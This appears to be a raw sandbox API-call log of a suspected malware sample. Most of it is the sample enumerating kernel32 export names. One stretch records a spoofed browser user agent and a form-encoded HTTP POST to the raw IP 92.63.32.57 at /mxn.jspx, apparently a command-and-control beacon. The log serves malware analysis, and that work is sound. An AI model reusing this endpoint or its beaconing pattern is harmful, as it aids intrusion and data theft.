lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0109.270] lstrlenA (lpString="COPYFILEW") returned 9 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0109.270] lstrlenA (lpString="COPYLZFILE") returned 10 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0109.270] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0109.270] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0109.270] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0109.270] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0109.270] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0109.271] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0109.271] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0109.271] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0109.271] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0109.271] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0109.271] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0109.271] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0109.271] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0109.271] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0109.271] lstrlenA (lpString="CREATEEVENTA") returned 12 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0109.271] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0109.271] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0109.271] lstrlenA (lpString="CREATEEVENTW") returned 12 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0109.271] lstrlenA (lpString="CREATEFIBER") returned 11 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0109.271] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0109.271] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0109.272] lstrlenA (lpString="CREATEFILE2") returned 11 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0109.272] lstrlenA (lpString="CREATEFILEA") returned 11 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0109.272] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0109.272] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0109.272] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0109.272] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0109.272] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0109.272] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0109.272] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0109.272] lstrlenA (lpString="CREATEFILEW") returned 11 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0109.272] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0109.272] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0109.272] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0109.272] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0109.272] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0109.272] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0109.272] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0109.273] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0109.273] lstrlenA (lpString="CREATEJOBSET") returned 12 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0109.273] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0109.273] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0109.273] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0109.273] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0109.273] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0109.273] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0109.273] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0109.273] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0109.273] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0109.273] lstrlenA (lpString="CREATEPIPE") returned 10 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0109.273] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0109.273] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0109.273] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0109.273] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0109.273] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0109.274] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0109.274] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0109.274] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0109.274] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0109.274] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0109.274] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0109.274] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0109.274] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0109.274] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0109.274] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0109.274] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0109.274] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0109.274] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0109.274] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0109.274] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0109.274] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0109.275] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0109.275] lstrlenA (lpString="CREATETHREAD") returned 12 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0109.275] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0109.275] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0109.275] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0109.275] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0109.275] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0109.275] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0109.275] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0109.275] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0109.275] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0109.276] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.276] InternetCrackUrlA (in: lpszUrl="http://92.63.32.57/mxn.jspx?q=8c0354xv1&wm=xo6", dwUrlLength=0x2e, dwFlags=0x0, lpUrlComponents=0x2e7fd68 | out: lpUrlComponents=0x2e7fd68) returned 1 [0109.276] VirtualAlloc (lpAddress=0x0, dwSize=0x1400, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0109.277] InternetConnectA (hInternet=0xcc0004, lpszServerName="92.63.32.57", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0109.277] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/mxn.jspx?q=8c0354xv1&wm=xo6", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0109.277] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2fe0000*, dwOptionalLength=0xdd) returned 0 [0117.598] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.598] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0117.598] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0117.598] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 0 [0117.599] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0117.599] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.599] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.599] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.599] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.600] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.600] lstrlenA (lpString="kernel32.dll") returned 12 [0117.600] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.600] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0117.600] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0117.600] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0117.600] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0117.600] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0117.600] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0117.600] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0117.600] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0117.601] lstrlenA (lpString="ADDATOMA") returned 8 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0117.601] lstrlenA (lpString="ADDATOMW") returned 8 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0117.601] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0117.601] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0117.601] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0117.601] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0117.601] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0117.601] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0117.601] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0117.601] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0117.601] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0117.601] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0117.601] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0117.601] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0117.601] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0117.601] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0117.601] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0117.601] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0117.602] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0117.602] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0117.602] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0117.602] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0117.602] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0117.602] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0117.602] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0117.602] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0117.602] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0117.602] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0117.602] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0117.602] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0117.602] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0117.602] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0117.602] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0117.602] lstrlenA 